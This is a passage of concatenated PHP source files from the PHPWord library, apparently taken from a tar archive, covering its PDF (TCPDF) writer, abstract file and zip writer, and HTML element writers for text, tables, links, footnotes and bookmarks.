            $includeFile = Settings::getPdfRendererPath() . '/' . $this->includeFile;
            if (file_exists($includeFile)) {
                /** @noinspection PhpIncludeInspection Dynamic includes */
                require_once $includeFile;
            } else {
                // @codeCoverageIgnoreStart
                // Can't find any test case. Uncomment when found.
                throw new Exception('Unable to load PDF Rendering library');
                // @codeCoverageIgnoreEnd
            }
        }

        // Configuration
        $options = Settings::getPdfRendererOptions();
        if (!empty($options['font'])) {
            $this->setFont($options['font']);
        }
    }

    /**
     * Get Font.
     *
     * @return string
     */
    public function getFont()
    {
        return $this->font;
    }

    /**
     * Set font. Examples:
     *      'arialunicid0-chinese-simplified'
     *      'arialunicid0-chinese-traditional'
     *      'arialunicid0-korean'
     *      'arialunicid0-japanese'.
     *
     * @param string $fontName
     *
     * @return self
     */
    public function setFont($fontName)
    {
        $this->font = $fontName;

        return $this;
    }

    /**
     * Get Paper Size.
     *
     * @return int
     */
    public function getPaperSize()
    {
        return $this->paperSize;
    }

    /**
     * Set Paper Size.
     *
     * @param int $value Paper size = PAPERSIZE_A4
     *
     * @return self
     */
    public function setPaperSize($value = 9)
    {
        $this->paperSize = $value;

        return $this;
    }

    /**
     * Get Orientation.
     *
     * @return string
     */
    public function getOrientation()
    {
        return $this->orientation;
    }

    /**
     * Set Orientation.
     *
     * @param string $value Page orientation ORIENTATION_DEFAULT
     *
     * @return self
     */
    public function setOrientation($value = 'default')
    {
        $this->orientation = $value;

        return $this;
    }

    /**
     * Save PhpWord to PDF file, pre-save.
     *
     * @param string $filename Name of the file to save as
     *
     * @return resource
     */
    protected function prepareForSave($filename = null)
    {
        $fileHandle = fopen($filename, 'wb');
        // @codeCoverageIgnoreStart
        // Can't find any test case. Uncomment when found.
        if ($fileHandle === false) {
            throw new Exception("Could not open file $filename for writing.");
        }
        // @codeCoverageIgnoreEnd

        return $fileHandle;
    }

    /**
     * Save PhpWord to PDF file, post-save.
     *
     * @param resource $fileHandle
     */
    protected function restoreStateAfterSave($fileHandle): void
    {
        fclose($fileHandle);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/PDF/TCPDF.php000066600000007621151150442730017113 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PhpWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\PDF;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Writer\WriterInterface;
use TCPDF as TCPDFBase;

/**
 * TCPDF writer.
 *
 * @deprecated 0.13.0 Use `DomPDF` or `MPDF` instead.
 * @see  http://www.tcpdf.org/
 * @since 0.11.0
 */
class TCPDF extends AbstractRenderer implements WriterInterface
{
    /**
     * Name of renderer include file.
     *
     * @var string
     */
    protected $includeFile = 'tcpdf.php';

    /**
     * Gets the implementation of external PDF library that should be used.
     *
     * @param string $orientation Page orientation
     * @param string $unit Unit measure
     * @param string $paperSize Paper size
     *
     * @return TCPDFBase implementation
     */
    protected function createExternalWriterInstance($orientation, $unit, $paperSize)
    {
        $instance = new TCPDFBase($orientation, $unit, $paperSize);

        if ($this->getFont()) {
            $instance->setFont($this->getFont(), $instance->getFontStyle(), $instance->getFontSizePt());
        }

        return $instance;
    }

    /**
     * Overwriteable function to allow user to extend TCPDF.
     * There should always be an AddPage call, preceded or followed
     *   by code to customize TCPDF configuration.
     * The customization below sets vertical spacing
     *   between paragaraphs when the user has
     *   explicitly set those values to numeric in default style.
     */
    protected function prepareToWrite(TCPDFBase $pdf): void
    {
        $pdf->AddPage();
        $customStyles = Style::getStyles();
        $normal = $customStyles['Normal'] ?? null;
        if ($normal instanceof Style\Paragraph) {
            $before = $normal->getSpaceBefore();
            $after = $normal->getSpaceAfter();
            if (is_numeric($before) && is_numeric($after)) {
                $height = $normal->getLineHeight() ?? '';
                $pdf->setHtmlVSpace([
                    'p' => [
                        ['n' => $before, 'h' => $height],
                        ['n' => $after, 'h' => $height],
                    ],
                ]);
            }
        }
    }

    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void
    {
        $fileHandle = parent::prepareForSave($filename);

        //  PDF settings
        $paperSize = strtoupper(Settings::getDefaultPaper());
        $orientation = 'P';

        // Create PDF
        $pdf = $this->createExternalWriterInstance($orientation, 'pt', $paperSize);
        $pdf->setFontSubsetting(false);
        $pdf->setPrintHeader(false);
        $pdf->setPrintFooter(false);
        $pdf->SetFont($this->getFont());
        $this->prepareToWrite($pdf);
        $pdf->writeHTML($this->getContent());

        // Write document properties
        $phpWord = $this->getPhpWord();
        $docProps = $phpWord->getDocInfo();
        $pdf->SetTitle($docProps->getTitle());
        $pdf->SetAuthor($docProps->getCreator());
        $pdf->SetSubject($docProps->getSubject());
        $pdf->SetKeywords($docProps->getKeywords());
        $pdf->SetCreator($docProps->getCreator());

        //  Write to file
        fwrite($fileHandle, $pdf->Output($filename, 'S'));

        parent::restoreStateAfterSave($fileHandle);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/AbstractWriter.php000066600000023310151150442730020573 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\PhpWord\Exception\CopyFileException;
use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\ZipArchive;

/**
 * Abstract writer class.
 *
 * @since 0.10.0
 */
abstract class AbstractWriter implements WriterInterface
{
    /**
     * PHPWord object.
     *
     * @var \PhpOffice\PhpWord\PhpWord
     */
    protected $phpWord;

    /**
     * Part name and file name pairs.
     *
     * @var array
     */
    protected $parts = [];

    /**
     * Individual writers.
     *
     * @var array
     */
    protected $writerParts = [];

    /**
     * Paths to store media files.
     *
     * @var array
     */
    protected $mediaPaths = ['image' => '', 'object' => ''];

    /**
     * Use disk caching.
     *
     * @var bool
     */
    private $useDiskCaching = false;

    /**
     * Disk caching directory.
     *
     * @var string
     */
    private $diskCachingDirectory = './';

    /**
     * Temporary directory.
     *
     * @var string
     */
    private $tempDir = '';

    /**
     * Original file name.
     *
     * @var string
     */
    private $originalFilename;

    /**
     * Temporary file name.
     *
     * @var string
     */
    private $tempFilename;

    /**
     * Get PhpWord object.
     *
     * @return \PhpOffice\PhpWord\PhpWord
     */
    public function getPhpWord()
    {
        if (null !== $this->phpWord) {
            return $this->phpWord;
        }

        throw new Exception('No PhpWord assigned.');
    }

    /**
     * Set PhpWord object.
     *
     * @param \PhpOffice\PhpWord\PhpWord
     *
     * @return self
     */
    public function setPhpWord(?PhpWord $phpWord = null)
    {
        $this->phpWord = $phpWord;

        return $this;
    }

    /**
     * Get writer part.
     *
     * @param string $partName Writer part name
     *
     * @return mixed
     */
    public function getWriterPart($partName = '')
    {
        if ($partName != '' && isset($this->writerParts[strtolower($partName)])) {
            return $this->writerParts[strtolower($partName)];
        }

        return null;
    }

    /**
     * Get use disk caching status.
     *
     * @return bool
     */
    public function isUseDiskCaching()
    {
        return $this->useDiskCaching;
    }

    /**
     * Set use disk caching status.
     *
     * @param bool $value
     * @param string $directory
     *
     * @return self
     */
    public function setUseDiskCaching($value = false, $directory = null)
    {
        $this->useDiskCaching = $value;

        if (null !== $directory) {
            if (is_dir($directory)) {
                $this->diskCachingDirectory = $directory;
            } else {
                throw new Exception("Directory does not exist: $directory");
            }
        }

        return $this;
    }

    /**
     * Get disk caching directory.
     *
     * @return string
     */
    public function getDiskCachingDirectory()
    {
        return $this->diskCachingDirectory;
    }

    /**
     * Get temporary directory.
     *
     * @return string
     */
    public function getTempDir()
    {
        return $this->tempDir;
    }

    /**
     * Set temporary directory.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTempDir($value)
    {
        if (!is_dir($value)) {
            mkdir($value);
        }
        $this->tempDir = $value;

        return $this;
    }

    /**
     * Get temporary file name.
     *
     * If $filename is php://output or php://stdout, make it a temporary file
     *
     * @param string $filename
     *
     * @return string
     */
    protected function getTempFile($filename)
    {
        // Temporary directory
        $this->setTempDir(Settings::getTempDir() . uniqid('/PHPWordWriter_', true) . '/');

        // Temporary file
        $this->originalFilename = $filename;
        if (strpos(strtolower($filename), 'php://') === 0) {
            $filename = tempnam(Settings::getTempDir(), 'PhpWord');
            if (false === $filename) {
                $filename = $this->originalFilename; // @codeCoverageIgnore
            } // @codeCoverageIgnore
        }
        $this->tempFilename = $filename;

        return $this->tempFilename;
    }

    /**
     * Cleanup temporary file.
     */
    protected function cleanupTempFile(): void
    {
        if ($this->originalFilename != $this->tempFilename) {
            // @codeCoverageIgnoreStart
            // Can't find any test case. Uncomment when found.
            if (false === copy($this->tempFilename, $this->originalFilename)) {
                throw new CopyFileException($this->tempFilename, $this->originalFilename);
            }
            // @codeCoverageIgnoreEnd
            @unlink($this->tempFilename);
        }

        $this->clearTempDir();
    }

    /**
     * Clear temporary directory.
     */
    protected function clearTempDir(): void
    {
        if (is_dir($this->tempDir)) {
            $this->deleteDir($this->tempDir);
        }
    }

    /**
     * Get ZipArchive object.
     *
     * @param string $filename
     *
     * @return \PhpOffice\PhpWord\Shared\ZipArchive
     */
    protected function getZipArchive($filename)
    {
        // Remove any existing file
        if (file_exists($filename)) {
            unlink($filename);
        }

        // Try opening the ZIP file
        $zip = new ZipArchive();

        // @codeCoverageIgnoreStart
        // Can't find any test case. Uncomment when found.
        if ($zip->open($filename, ZipArchive::OVERWRITE) !== true) {
            if ($zip->open($filename, ZipArchive::CREATE) !== true) {
                throw new \Exception("Could not open '{$filename}' for writing.");
            }
        }
        // @codeCoverageIgnoreEnd

        return $zip;
    }

    /**
     * Open file for writing.
     *
     * @since 0.11.0
     *
     * @param string $filename
     *
     * @return resource
     */
    protected function openFile($filename)
    {
        $filename = $this->getTempFile($filename);
        $fileHandle = fopen($filename, 'wb');
        // @codeCoverageIgnoreStart
        // Can't find any test case. Uncomment when found.
        if ($fileHandle === false) {
            throw new \Exception("Could not open '{$filename}' for writing.");
        }
        // @codeCoverageIgnoreEnd

        return $fileHandle;
    }

    /**
     * Write content to file.
     *
     * @since 0.11.0
     *
     * @param resource $fileHandle
     * @param string $content
     */
    protected function writeFile($fileHandle, $content): void
    {
        fwrite($fileHandle, $content);
        fclose($fileHandle);
        $this->cleanupTempFile();
    }

    /**
     * Add files to package.
     *
     * @param mixed $elements
     */
    protected function addFilesToPackage(ZipArchive $zip, $elements): void
    {
        foreach ($elements as $element) {
            $type = $element['type']; // image|object|link

            // Skip nonregistered types and set target
            if (!isset($this->mediaPaths[$type])) {
                continue;
            }
            $target = $this->mediaPaths[$type] . $element['target'];

            // Retrive GD image content or get local media
            if (isset($element['isMemImage']) && $element['isMemImage']) {
                $imageContents = $element['imageString'];
                $zip->addFromString($target, $imageContents);
            } else {
                $this->addFileToPackage($zip, $element['source'], $target);
            }
        }
    }

    /**
     * Add file to package.
     *
     * Get the actual source from an archive image.
     *
     * @param \PhpOffice\PhpWord\Shared\ZipArchive $zipPackage
     * @param string $source
     * @param string $target
     */
    protected function addFileToPackage($zipPackage, $source, $target): void
    {
        $isArchive = strpos($source, 'zip://') !== false;
        $actualSource = null;
        if ($isArchive) {
            $source = substr($source, 6);
            [$zipFilename, $imageFilename] = explode('#', $source);

            $zip = new ZipArchive();
            if ($zip->open($zipFilename) !== false) {
                if ($zip->locateName($imageFilename)) {
                    $zip->extractTo($this->getTempDir(), $imageFilename);
                    $actualSource = $this->getTempDir() . DIRECTORY_SEPARATOR . $imageFilename;
                }
            }
            $zip->close();
        } else {
            $actualSource = $source;
        }

        if (null !== $actualSource) {
            $zipPackage->addFile($actualSource, $target);
        }
    }

    /**
     * Delete directory.
     *
     * @param string $dir
     */
    private function deleteDir($dir): void
    {
        foreach (scandir($dir) as $file) {
            if ($file === '.' || $file === '..') {
                continue;
            } elseif (is_file($dir . '/' . $file)) {
                unlink($dir . '/' . $file);
            } elseif (is_dir($dir . '/' . $file)) {
                $this->deleteDir($dir . '/' . $file);
            }
        }

        rmdir($dir);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Endnote.php000066600000001553151150442730021371 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * Endnote element HTML writer.
 *
 * @since 0.10.0
 */
class Endnote extends Footnote
{
    /**
     * Note type.
     *
     * @var string
     */
    protected $noteType = 'endnote';
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/ListItem.php000066600000002251151150442730021523 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Writer\HTML;

/**
 * ListItem element HTML writer.
 *
 * @since 0.10.0
 */
class ListItem extends AbstractElement
{
    /**
     * Write list item.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\ListItem) {
            return '';
        }

        $content = '<p>' . $this->parentWriter->escapeHTML($this->element->getTextObject()->getText()) . '</p>' . PHP_EOL;

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Bookmark.php000066600000002254151150442730021541 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * Bookmark element HTML writer.
 *
 * @since 0.15.0
 */
class Bookmark extends Text
{
    /**
     * Write bookmark.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Bookmark) {
            return '';
        }

        $content = '';
        $content .= $this->writeOpening();
        $content .= "<a name=\"{$this->element->getName()}\"/>";
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/TextRun.php000066600000002146151150442730021405 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * TextRun element HTML writer.
 *
 * @since 0.10.0
 */
class TextRun extends Text
{
    /**
     * Write text run.
     *
     * @return string
     */
    public function write()
    {
        $content = '';

        $content .= $this->writeOpening();
        $writer = new Container($this->parentWriter, $this->element);
        $content .= $writer->write();
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/AbstractElement.php000066600000003303151150442730023045 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Element\AbstractElement as Element;
use PhpOffice\PhpWord\Writer\HTML;

/**
 * Abstract HTML element writer.
 *
 * @since 0.11.0
 */
abstract class AbstractElement
{
    /**
     * Parent writer.
     *
     * @var HTML
     */
    protected $parentWriter;

    /**
     * Element.
     *
     * @var \PhpOffice\PhpWord\Element\AbstractElement
     */
    protected $element;

    /**
     * Without paragraph.
     *
     * @var bool
     */
    protected $withoutP = false;

    /**
     * Write element.
     */
    abstract public function write();

    /**
     * Create new instance.
     *
     * @param bool $withoutP
     */
    public function __construct(HTML $parentWriter, Element $element, $withoutP = false)
    {
        $this->parentWriter = $parentWriter;
        $this->element = $element;
        $this->withoutP = $withoutP;
    }

    /**
     * Set without paragraph.
     *
     * @param bool $value
     */
    public function setWithoutP($value): void
    {
        $this->withoutP = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/ListItemRun.php000066600000002175151150442730022215 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * ListItem element HTML writer.
 *
 * @since 0.10.0
 */
class ListItemRun extends TextRun
{
    /**
     * Write list item.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\ListItemRun) {
            return '';
        }

        $writer = new Container($this->parentWriter, $this->element);
        $content = $writer->write() . PHP_EOL;

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Footnote.php000066600000003151151150442730021566 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * Footnote element HTML writer.
 *
 * @since 0.10.0
 */
class Footnote extends AbstractElement
{
    /**
     * Note type footnote|endnote.
     *
     * @var string
     */
    protected $noteType = 'footnote';

    /**
     * Write footnote/endnote marks; The actual content is written in parent writer (HTML).
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Footnote) {
            return '';
        }
        /** @var \PhpOffice\PhpWord\Writer\HTML $parentWriter Type hint */
        $parentWriter = $this->parentWriter;

        $noteId = count($parentWriter->getNotes()) + 1;
        $noteMark = $this->noteType . '-' . $this->element->getRelationId();
        $content = "<a name=\"{$noteMark}\"><a href=\"#note-{$noteId}\" class=\"NoteRef\"><sup>{$noteId}</sup></a>";

        $parentWriter->addNote($noteId, $noteMark);

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Link.php000066600000002611151150442730020666 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Writer\HTML;

/**
 * Link element HTML writer.
 *
 * @since 0.10.0
 */
class Link extends Text
{
    /**
     * Write link.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Link) {
            return '';
        }

        $prefix = $this->element->isInternal() ? '#' : '';
        $content = $this->writeOpening();
        $content .= "<a href=\"{$prefix}"
            . $this->parentWriter->escapeHTML($this->element->getSource())
            . '">'
            . $this->parentWriter->escapeHTML($this->element->getText())
            . '</a>';
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Table.php000066600000015224151150442730021024 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Writer\HTML\Style\Table as TableStyleWriter;

/**
 * Table element HTML writer.
 *
 * @since 0.10.0
 */
class Table extends AbstractElement
{
    /**
     * Write table.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Table) {
            return '';
        }

        $content = '';
        $rows = $this->element->getRows();
        $rowCount = count($rows);
        if ($rowCount > 0) {
            $content .= '<table' . $this->getTableStyle($this->element->getStyle()) . '>' . PHP_EOL;

            for ($i = 0; $i < $rowCount; ++$i) {
                /** @var \PhpOffice\PhpWord\Element\Row $row Type hint */
                $rowStyle = $rows[$i]->getStyle();
                // $height = $row->getHeight();
                $tblHeader = $rowStyle->isTblHeader();
                $content .= '<tr>' . PHP_EOL;
                $rowCells = $rows[$i]->getCells();
                $rowCellCount = count($rowCells);
                for ($j = 0; $j < $rowCellCount; ++$j) {
                    $cellStyle = $rowCells[$j]->getStyle();
                    $cellStyleCss = $this->getTableStyle($cellStyle);
                    $cellBgColor = $cellStyle->getBgColor();
                    $cellFgColor = null;
                    if ($cellBgColor && $cellBgColor !== 'auto') {
                        $red = hexdec(substr($cellBgColor, 0, 2));
                        $green = hexdec(substr($cellBgColor, 2, 2));
                        $blue = hexdec(substr($cellBgColor, 4, 2));
                        $cellFgColor = (($red * 0.299 + $green * 0.587 + $blue * 0.114) > 186) ? null : 'ffffff';
                    }
                    $cellColSpan = $cellStyle->getGridSpan();
                    $cellRowSpan = 1;
                    $cellVMerge = $cellStyle->getVMerge();
                    // If this is the first cell of the vertical merge, find out how many rows it spans
                    if ($cellVMerge === 'restart') {
                        $cellRowSpan = $this->calculateCellRowSpan($rows, $i, $j);
                    }
                    // Ignore cells that are merged vertically with previous rows
                    if ($cellVMerge !== 'continue') {
                        $cellTag = $tblHeader ? 'th' : 'td';
                        $cellColSpanAttr = (is_numeric($cellColSpan) && ($cellColSpan > 1) ? " colspan=\"{$cellColSpan}\"" : '');
                        $cellRowSpanAttr = ($cellRowSpan > 1 ? " rowspan=\"{$cellRowSpan}\"" : '');
                        $cellBgColorAttr = (empty($cellBgColor) ? '' : " bgcolor=\"#{$cellBgColor}\"");
                        $cellFgColorAttr = (empty($cellFgColor) ? '' : " color=\"#{$cellFgColor}\"");
                        $content .= "<{$cellTag}{$cellStyleCss}{$cellColSpanAttr}{$cellRowSpanAttr}{$cellBgColorAttr}{$cellFgColorAttr}>" . PHP_EOL;
                        $writer = new Container($this->parentWriter, $rowCells[$j]);
                        $content .= $writer->write();
                        if ($cellRowSpan > 1) {
                            // There shouldn't be any content in the subsequent merged cells, but lets check anyway
                            for ($k = $i + 1; $k < $rowCount; ++$k) {
                                $kRowCells = $rows[$k]->getCells();
                                if (isset($kRowCells[$j]) && $kRowCells[$j]->getStyle()->getVMerge() === 'continue') {
                                    $writer = new Container($this->parentWriter, $kRowCells[$j]);
                                    $content .= $writer->write();
                                } else {
                                    break;
                                }
                            }
                        }
                        $content .= "</{$cellTag}>" . PHP_EOL;
                    }
                }
                $content .= '</tr>' . PHP_EOL;
            }
            $content .= '</table>' . PHP_EOL;
        }

        return $content;
    }

    /**
     * Translates Table style in CSS equivalent.
     *
     * @param null|\PhpOffice\PhpWord\Style\Cell|\PhpOffice\PhpWord\Style\Table|string $tableStyle
     */
    private function getTableStyle($tableStyle = null): string
    {
        if ($tableStyle == null) {
            return '';
        }
        if (is_string($tableStyle)) {
            return ' class="' . $tableStyle . '"';
        }

        $styleWriter = new TableStyleWriter($tableStyle);
        $style = $styleWriter->write();
        if ($style === '') {
            return '';
        }

        return ' style="' . $style . '"';
    }

    /**
     * Calculates cell rowspan.
     *
     * @param \PhpOffice\PhpWord\Element\Row[] $rows
     */
    private function calculateCellRowSpan(array $rows, int $rowIndex, int $colIndex): int
    {
        $currentRow = $rows[$rowIndex];
        $currentRowCells = $currentRow->getCells();
        $shiftedColIndex = 0;

        foreach ($currentRowCells as $cell) {
            if ($cell === $currentRowCells[$colIndex]) {
                break;
            }

            $colSpan = 1;

            if ($cell->getStyle()->getGridSpan() !== null) {
                $colSpan = $cell->getStyle()->getGridSpan();
            }

            $shiftedColIndex += $colSpan;
        }

        $rowCount = count($rows);
        $rowSpan = 1;

        for ($i = $rowIndex + 1; $i < $rowCount; ++$i) {
            $rowCells = $rows[$i]->getCells();
            $colIndex = 0;

            foreach ($rowCells as $cell) {
                if ($colIndex === $shiftedColIndex) {
                    if ($cell->getStyle()->getVMerge() === 'continue') {
                        ++$rowSpan;
                    }

                    break;
                }

                $colSpan = 1;

                if ($cell->getStyle()->getGridSpan() !== null) {
                    $colSpan = $cell->getStyle()->getGridSpan();
                }

                $colIndex += $colSpan;
            }
        }

        return $rowSpan;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Text.php000066600000017214151150442730020722 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Element\TrackChange;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;
use PhpOffice\PhpWord\Writer\HTML;
use PhpOffice\PhpWord\Writer\HTML\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\HTML\Style\Paragraph as ParagraphStyleWriter;

/**
 * Text element HTML writer.
 *
 * @since 0.10.0
 */
class Text extends AbstractElement
{
    /**
     * Text written after opening.
     *
     * @var string
     */
    private $openingText = '';

    /**
     * Text written before closing.
     *
     * @var string
     */
    private $closingText = '';

    /**
     * Opening tags.
     *
     * @var string
     */
    private $openingTags = '';

    /**
     * Closing tag.
     *
     * @var string
     */
    private $closingTags = '';

    /**
     * Write text.
     *
     * @return string
     */
    public function write()
    {
        $this->processFontStyle();

        /** @var \PhpOffice\PhpWord\Element\Text $element Type hint */
        $element = $this->element;

        $text = $this->parentWriter->escapeHTML($element->getText());
        if (!$this->withoutP && !trim($text)) {
            $text = '&nbsp;';
        }

        $content = '';
        $content .= $this->writeOpening();
        $content .= $this->openingText;
        $content .= $this->openingTags;
        $content .= $text;
        $content .= $this->closingTags;
        $content .= $this->closingText;
        $content .= $this->writeClosing();

        return $content;
    }

    /**
     * Set opening text.
     *
     * @param string $value
     */
    public function setOpeningText($value): void
    {
        $this->openingText = $value;
    }

    /**
     * Set closing text.
     *
     * @param string $value
     */
    public function setClosingText($value): void
    {
        $this->closingText = $value;
    }

    /**
     * Write opening.
     *
     * @return string
     */
    protected function writeOpening()
    {
        $content = '';
        if (!$this->withoutP) {
            $style = $this->getParagraphStyle();
            $content .= "<p{$style}>";
        }

        //open track change tag
        $content .= $this->writeTrackChangeOpening();

        return $content;
    }

    /**
     * Write ending.
     *
     * @return string
     */
    protected function writeClosing()
    {
        $content = '';

        //close track change tag
